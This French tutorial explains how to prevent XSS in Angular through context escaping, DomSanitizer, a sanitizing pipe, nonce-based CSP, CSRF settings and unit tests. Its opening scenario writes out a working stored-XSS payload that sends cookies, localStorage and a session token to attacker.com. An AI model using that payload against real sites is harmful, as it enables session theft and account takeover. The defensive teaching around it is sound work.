Front-end angularforall.com

- XSS en Angular : Bonnes pratiques & DomSanitizer

Angular Securite Xss Sanitizer
XSS en Angular : Bonnes pratiques & DomSanitizer

Prévention XSS en Angular : sanitization automatique, DomSanitizer, trusted HTML/URL, Content Security Policy et bonnes pratiques de sécurité.

Introduction — anatomie d'une attaque XSS réelle

Les attaques XSS (Cross-Site Scripting) sont classées #3 dans le Top 10 OWASP 2023. Elles injectent du JavaScript malveillant dans votre application, qui s'exécute dans le navigateur de vos utilisateurs. Voici une attaque réelle, étape par étape :

// === SCÉNARIO RÉEL : Vol de session via commentaire ===

// 1. L'attaquant poste ce "commentaire" dans votre forum :
const maliciousComment = `
    <img src="x" onerror="
        const stolen = {
            cookie: document.cookie,
            localStorage: JSON.stringify(localStorage),
            sessionToken: document.querySelector('[data-token]')?.dataset.token
        };
        fetch('https://attacker.com/steal', {
            method: 'POST',
            mode: 'no-cors',
            body: JSON.stringify(stolen)
        });
    ">
`;

// 2. Vous affichez ce commentaire dans votre template PHP sans protection :
// <div><?= $comment ?></div>  ← VULNÉRABLE

// 3. Résultat : chaque visiteur qui voit ce commentaire
//    envoie son cookie de session + localStorage à l'attaquant
//    → L'attaquant prend le contrôle de leurs comptes

// Solution Angular : {{ comment }} ← échappe automatiquement, SÉCURISÉ
Impact concret : Selon OWASP, une attaque XSS stored sur un site à 10 000 utilisateurs peut compromettre tous les comptes en quelques heures si les cookies de session ne sont pas httpOnly. Angular vous protège par défaut, mais il faut comprendre comment — et éviter les exceptions dangereuses.

Les 3 types de XSS expliqués

Comprendre chaque type de XSS est essentiel pour choisir la bonne protection :

Type Mécanisme Persistance Exemple Protection principale
Stored XSS Payload stocké en BD, renvoyé à chaque visite Permanent Commentaire malveillant, bio de profil Sanitization serveur + Angular binding
Reflected XSS Payload dans URL, reflété dans la réponse Non-persistant ?q=<script>...</script> Encoder les paramètres URL
DOM XSS JS côté client manipule le DOM dangereusement Runtime innerHTML = location.search Éviter innerHTML/eval avec données externes

DOM XSS — les sources dangereuses

Le DOM XSS survient quand vous injectez des données non fiables dans des sinks dangereux. Les sources les plus exploitées :

// === SOURCES DOM XSS DANGEREUSES ===

// Sources (origine des données non fiables)
const dangerous = {
    url: location.search,        // ?q=<script>...
    hash: location.hash,         // #<img onerror=...>
    referrer: document.referrer, // Header contrôlable
    postMessage: event.data,     // Messages cross-origin
    localStorage: localStorage.getItem('user') // Données persistées
};

// Sinks (fonctions qui exécutent le HTML/JS)
// element.innerHTML = userInput        ← DANGEREUX
// document.write(userInput)            ← TRÈS DANGEREUX
// eval(userInput)                      ← CRITIQUE
// setTimeout(userInput, 1000)          ← DANGEREUX si string
// element.setAttribute('onclick', ...) ← DANGEREUX

// === VERSION SÉCURISÉE ===
// Utiliser textContent au lieu d'innerHTML pour du texte pur
element.textContent = userInput; // Échappe automatiquement

// Utiliser DOMPurify si vous avez besoin de HTML côté client
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// Ou simplement utiliser Angular et ses bindings sécurisés

Protection automatique d'Angular par contexte

Angular applique la protection XSS automatiquement selon le contexte de binding. Voici ce qu'Angular protège dans chaque cas :

Binding Angular Contexte Protection automatique Résultat
{{ value }} Texte Échappe HTML entièrement Sécurisé
[title]="value" Attribut Échappe les caractères spéciaux Sécurisé
[href]="value" URL Bloque les URLs javascript: Sécurisé
[src]="value" URL ressource Bloque javascript: et data: Sécurisé
[innerHTML]="value" HTML Sanitize HTML (supprime scripts/handlers) Partiellement sécurisé
[style]="value" CSS Sanitize les valeurs CSS Sécurisé
// === COMPORTEMENT D'ANGULAR PAR CONTEXTE ===

@Component({
    standalone: true,
    template: `
        <!-- 1. Interpolation : échappe TOUT ✅ -->
        <p>{{ userInput }}</p>
        <!-- Si userInput = "<script>evil()</script>" -->
        <!-- Rendu : &lt;script&gt;evil()&lt;/script&gt; (texte pur) -->

        <!-- 2. Binding propriété : échappe ✅ -->
        <input [placeholder]="userInput">

        <!-- 3. URL binding : bloque javascript: ✅ -->
        <a [href]="userUrl">Lien</a>
        <!-- Si userUrl = "javascript:evil()" → Angular affiche "unsafe:javascript:evil()" -->

        <!-- 4. innerHTML : sanitize mais pas 100% ⚠️ -->
        <div [innerHTML]="richHtml"></div>
        <!-- Angular supprime <script>, onclick=, onerror= -->
        <!-- Mais laisse passer <b>, <i>, <a href> -->
    `
})
export class SafeDisplayComponent {
    userInput = '<script>alert("XSS")</script>';
    userUrl = 'javascript:stealCookies()';
    richHtml = '<b>Gras OK</b><script>evil()</script>';
    // richHtml après sanitization : "<b>Gras OK</b>" (script retiré)
}
Console Angular en développement : Angular affiche un avertissement dans la console quand il sanitize du contenu dangereux : WARNING: sanitizing HTML stripped some content. C'est intentionnel — vous devez voir ce qui est supprimé.

DomSanitizer — usage correct vs dangereux

Le service DomSanitizer expose deux familles de méthodes avec des comportements très différents. Comprendre la différence est critique :

Méthode Comportement Sécurité Usage recommandé
sanitize(context, value) Nettoie en supprimant le contenu dangereux Sécurisé Toujours préférer cette méthode
bypassSecurityTrustHtml() Marque le HTML comme "de confiance" sans nettoyage Dangereux Seulement pour HTML généré côté serveur fiable
bypassSecurityTrustScript() Marque un script comme "de confiance" Très dangereux Éviter absolument avec données utilisateur
bypassSecurityTrustUrl() Marque une URL comme "de confiance" Dangereux Seulement pour URLs construites en interne
bypassSecurityTrustResourceUrl() Marque une resource URL (src iframe) comme safe Dangereux Seulement pour sources d'iframe contrôlées
// === DOMSANITIZER : BONNE PRATIQUE ===
import { Component, inject } from '@angular/core';
import { DomSanitizer, SafeHtml, SafeUrl } from '@angular/platform-browser';
import { SecurityContext } from '@angular/core';

@Component({
    standalone: true,
    template: `
        <!-- Contenu HTML riche (éditeur WYSIWYG, markdown compilé) -->
        <div [innerHTML]="safeContent"></div>

        <!-- URL d'image dynamique -->
        <img [src]="safeImageUrl" alt="Image utilisateur">

        <!-- Iframe de source contrôlée -->
        <iframe [src]="safeVideoUrl" title="Vidéo"></iframe>
    `
})
export class ContentDisplayComponent {
    private sanitizer = inject(DomSanitizer);

    // === APPROCHE 1 : sanitize() — RECOMMANDÉE ===
    // Supprime les scripts, event handlers, etc.
    safeContent: SafeHtml;

    constructor() {
        const htmlFromEditor = '<b>Titre</b><p>Paragraphe</p><script>evil()</script>';

        // sanitize() nettoie et retourne un string sécurisé
        const cleaned = this.sanitizer.sanitize(SecurityContext.HTML, htmlFromEditor);
        // cleaned = "<b>Titre</b><p>Paragraphe</p>" (script supprimé)

        // Puis bypass UNIQUEMENT parce que le contenu est déjà sanitized
        this.safeContent = this.sanitizer.bypassSecurityTrustHtml(cleaned ?? '');
    }

    // === APPROCHE 2 : bypass DIRECTEMENT — DANGEREUX ===
    // À utiliser SEULEMENT si le HTML vient d'une source 100% contrôlée côté serveur
    loadTrustedServerHtml(serverGeneratedHtml: string): SafeHtml {
        // Ce HTML vient du serveur, pas de l'utilisateur
        // Le serveur a déjà sanitized via DOMPurify ou similaire
        return this.sanitizer.bypassSecurityTrustHtml(serverGeneratedHtml);
    }

    // === URL DYNAMIQUE (ex: Blob URL pour preview image) ===
    createObjectUrl(file: File): SafeUrl {
        const objectUrl = URL.createObjectURL(file); // blob:http://...
        return this.sanitizer.bypassSecurityTrustUrl(objectUrl);
    }

    // === URL YOUTUBE IFRAME ===
    getSafeVideoUrl(videoId: string): SafeUrl {
        // Construite par notre code, pas par l'utilisateur directement
        const url = `https://www.youtube.com/embed/${encodeURIComponent(videoId)}`;
        return this.sanitizer.bypassSecurityTrustResourceUrl(url);
    }
}

Pipe personnalisé pour sanitization réutilisable

// safe-html.pipe.ts — Pipe réutilisable pour sanitization
import { Pipe, PipeTransform, inject } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
import { SecurityContext } from '@angular/core';

@Pipe({
    name: 'safeHtml',
    standalone: true,
    pure: true // Optimisation : Angular ne recalcule pas si la valeur n'a pas changé
})
export class SafeHtmlPipe implements PipeTransform {
    private sanitizer = inject(DomSanitizer);

    transform(value: string | null | undefined): SafeHtml {
        if (!value) return '';

        // Double protection : sanitize puis bypass
        const sanitized = this.sanitizer.sanitize(SecurityContext.HTML, value) ?? '';
        return this.sanitizer.bypassSecurityTrustHtml(sanitized);
    }
}

// Utilisation dans le template :
// <div [innerHTML]="article.content | safeHtml"></div>

Content Security Policy avec Angular

La Content Security Policy (CSP) est une couche de défense en profondeur : même si du XSS s'infiltre, le navigateur refuse d'exécuter les scripts non autorisés. Angular supporte les CSP basées sur les nonces, ce qui est la méthode moderne recommandée.

CSP avec ng-csp-nonce (Angular 16+)

// === CONFIGURATION NONCE CSP ===

// 1. server.php — Générer un nonce côté serveur à chaque requête
$nonce = base64_encode(random_bytes(16));
// Stocker pour l'injecter dans le header ET dans la page
header("Content-Security-Policy: " .
    "default-src 'self'; " .
    "script-src 'self' 'nonce-{$nonce}'; " .  // ← nonce unique par requête
    "style-src 'self' 'unsafe-inline'; " .
    "img-src 'self' data: https:; " .
    "connect-src 'self' https://api.example.com; " .
    "frame-ancestors 'none';"
);

// 2. index.html Angular — Injecter le nonce
// <app-root ngCspNonce="NONCE_PLACEHOLDER"></app-root>
// Angular lira cet attribut et l'appliquera aux styles inline qu'il génère

Configuration Express + Helmet (Node.js backend)

// server.ts — Configuration CSP avec Helmet.js
import express from 'express';
import helmet from 'helmet';
import crypto from 'crypto';

const app = express();

app.use((req, res, next) => {
    // Générer un nonce unique par requête
    const nonce = crypto.randomBytes(16).toString('base64');
    res.locals.cspNonce = nonce;

    helmet.contentSecurityPolicy({
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: [
                "'self'",
                `'nonce-${nonce}'`,    // Scripts avec ce nonce autorisés
                "'strict-dynamic'"     // Propager la confiance aux scripts chargés
            ],
            styleSrc: [
                "'self'",
                `'nonce-${nonce}'`,
                "https://fonts.googleapis.com"
            ],
            imgSrc: ["'self'", "data:", "https:"],
            connectSrc: ["'self'", "https://api.yourapp.com"],
            fontSrc: ["'self'", "https://fonts.gstatic.com"],
            objectSrc: ["'none'"],     // Bloquer Flash et plugins
            frameAncestors: ["'none'"], // Prévention clickjacking
            upgradeInsecureRequests: [] // Forcer HTTPS
        }
    })(req, res, next);
});

// Middleware pour injecter le nonce dans le HTML servi
app.get('*', (req, res) => {
    const nonce = res.locals.cspNonce;
    // Remplacer NONCE_PLACEHOLDER dans index.html par la valeur réelle
    const html = readIndexHtml().replace('NONCE_PLACEHOLDER', nonce);
    res.send(html);
});

Vérifier votre CSP

// Tester votre CSP sans bloquer (mode report-only)
// Header : Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report

// Endpoint pour recevoir les violations
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
    const violation = req.body['csp-report'];
    console.error('CSP Violation:', {
        blockedUri: violation['blocked-uri'],
        violatedDirective: violation['violated-directive'],
        documentUri: violation['document-uri']
    });
    res.status(204).end();
});

Protection CSRF avec HttpClient Angular

XSS et CSRF sont souvent combinés par les attaquants. Angular HttpClient gère la protection CSRF automatiquement via des tokens double-submit. Voici la configuration complète :

// app.config.ts — Configuration CSRF HttpClient
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';

export const appConfig: ApplicationConfig = {
    providers: [
        provideHttpClient(
            withXsrfConfiguration({
                // Angular lira ce cookie et l'enverra dans ce header
                cookieName: 'XSRF-TOKEN',     // Nom du cookie (défaut)
                headerName: 'X-XSRF-TOKEN'   // Nom du header (défaut)
            })
        )
    ]
};

// Angular ajoute automatiquement X-XSRF-TOKEN dans TOUTES les requêtes POST/PUT/DELETE
// Le serveur doit vérifier que la valeur du header correspond au cookie
// server-side CSRF validation (Express)
import csrf from 'csurf';
import cookieParser from 'cookie-parser';

app.use(cookieParser());
app.use(csrf({ cookie: { httpOnly: false, sameSite: 'strict' } }));
// httpOnly: false OBLIGATOIRE → Angular doit pouvoir lire le cookie JS

// Fournir le token initial au client
app.get('/api/csrf-token', (req, res) => {
    res.cookie('XSRF-TOKEN', req.csrfToken(), {
        sameSite: 'strict',
        secure: true // Seulement en HTTPS
    });
    res.json({ token: req.csrfToken() });
});

// Middleware de validation automatique pour toutes les routes POST/PUT/DELETE
// (csurf le fait automatiquement si withCredentials est activé dans Angular)

Intercepteur de sécurité Angular

Un intercepteur HttpClient centralise l'ajout des headers de sécurité sur toutes vos requêtes HTTP. Voici un intercepteur complet pour les applications Angular modernes :

// security.interceptor.ts
import { HttpInterceptorFn, HttpRequest, HttpHandlerFn } from '@angular/common/http';

export const securityInterceptor: HttpInterceptorFn = (
    req: HttpRequest<unknown>,
    next: HttpHandlerFn
) => {
    const isApiCall = req.url.startsWith('/api') || req.url.includes('api.yourapp.com');

    if (!isApiCall) {
        return next(req);
    }

    const secureReq = req.clone({
        withCredentials: true, // Envoyer les cookies dans les requêtes cross-origin
        setHeaders: {
            'X-Requested-With': 'XMLHttpRequest', // Identifier les requêtes AJAX
            'Accept': 'application/json',
            'Cache-Control': 'no-cache, no-store', // Éviter le cache des réponses sensibles
        }
    });

    return next(secureReq);
};

// app.config.ts — Enregistrer l'intercepteur
import { provideHttpClient, withInterceptors } from '@angular/common/http';
import { securityInterceptor } from './security.interceptor';

export const appConfig: ApplicationConfig = {
    providers: [
        provideHttpClient(
            withInterceptors([securityInterceptor])
        )
    ]
};

Valider les URLs dynamiques avant navigation

// url-validator.service.ts — Service de validation des URLs
import { Injectable } from '@angular/core';

@Injectable({ providedIn: 'root' })
export class UrlValidatorService {
    private readonly ALLOWED_PROTOCOLS = ['https:', 'http:'];
    private readonly ALLOWED_DOMAINS = ['yourapp.com', 'api.yourapp.com'];

    isSafeExternalUrl(url: string): boolean {
        try {
            const parsed = new URL(url);

            // Bloquer javascript:, data:, vbscript:
            if (!this.ALLOWED_PROTOCOLS.includes(parsed.protocol)) {
                console.warn('URL bloquée (protocole dangereux):', parsed.protocol);
                return false;
            }

            return true;
        } catch {
            return false; // URL malformée
        }
    }

    isTrustedDomain(url: string): boolean {
        try {
            const parsed = new URL(url);
            return this.ALLOWED_DOMAINS.some(domain => parsed.hostname.endsWith(domain));
        } catch {
            return false;
        }
    }
}

Checklist complète sécurité XSS Angular

Voici la checklist complète à valider avant de déployer une application Angular en production :

Bindings Angular — règles d'or

  • Utiliser {{ }} pour tout texte — Angular échappe automatiquement
  • Utiliser [property] pour les attributs HTML — Angular sanitize
  • Utiliser [innerHTML] uniquement avec | safeHtml pipe
  • Utiliser DomSanitizer.sanitize() avant tout bypassSecurityTrust*
  • Créer un pipe safeHtml réutilisable (voir code ci-dessus)

Ce qu'il faut éviter absolument

  • Ne jamais utiliser bypassSecurityTrustHtml() avec des données utilisateur directes
  • Ne jamais utiliser eval(), Function(), setTimeout(string)
  • Ne jamais construire du HTML par concaténation de chaînes
  • Ne jamais faire confiance à document.referrer ou location.hash sans validation
  • Ne jamais utiliser document.write()

Headers HTTP de sécurité obligatoires

Header Valeur recommandée Protection
Content-Security-Policy script-src 'self' 'nonce-xyz' Empêche exécution de scripts non autorisés
X-Content-Type-Options nosniff Empêche MIME sniffing
X-Frame-Options DENY Empêche clickjacking via iframe
Referrer-Policy strict-origin-when-cross-origin Contrôle les informations de referrer
Permissions-Policy camera=(), microphone=() Restreint l'accès aux APIs navigateur

Tests de sécurité à intégrer

// === TEST UNITAIRE : Vérifier que la sanitization fonctionne ===
import { TestBed } from '@angular/core/testing';
import { DomSanitizer } from '@angular/platform-browser';
import { SecurityContext } from '@angular/core';

describe('Sanitization XSS', () => {
    let sanitizer: DomSanitizer;

    beforeEach(() => {
        TestBed.configureTestingModule({});
        sanitizer = TestBed.inject(DomSanitizer);
    });

    it('doit supprimer les balises script', () => {
        const malicious = '<p>Texte</p><script>evil()</script>';
        const result = sanitizer.sanitize(SecurityContext.HTML, malicious);

        expect(result).toContain('<p>Texte</p>');
        expect(result).not.toContain('<script>');
        expect(result).not.toContain('evil()');
    });

    it('doit supprimer les event handlers', () => {
        const malicious = '<img src="x" onerror="stealData()">';
        const result = sanitizer.sanitize(SecurityContext.HTML, malicious);

        expect(result).not.toContain('onerror');
        expect(result).not.toContain('stealData');
    });

    it('doit bloquer les URLs javascript:', () => {
        const maliciousUrl = 'javascript:stealCookies()';
        const result = sanitizer.sanitize(SecurityContext.URL, maliciousUrl);

        expect(result).not.toContain('javascript:');
    });
});

Conclusion

La sécurité XSS dans Angular repose sur 3 piliers complémentaires : les bindings Angular sécurisés par défaut, la DomSanitizer pour le contenu riche, et les headers HTTP de sécurité côté serveur.

  • Par défaut : {{ }} et [property] = 100% sécurisés contre XSS
  • HTML riche : DomSanitizer.sanitize() supprime les scripts automatiquement
  • Bypass uniquement : si source serveur contrôlée et déjà nettoyée
  • CSP : deuxième ligne de défense pour bloquer l'exécution de scripts
  • CSRF : withXsrfConfiguration() protège automatiquement les mutations
  • Tests : valider la sanitization avec des cas de test XSS ciblés
Règle d'or : Ne faites jamais confiance aux données utilisateur. Validez côté serveur, sanitisez à l'affichage, utilisez les bindings Angular natifs, et auditez régulièrement avec npm audit + des outils comme OWASP ZAP pour détecter les vulnérabilités résiduelles.

Partager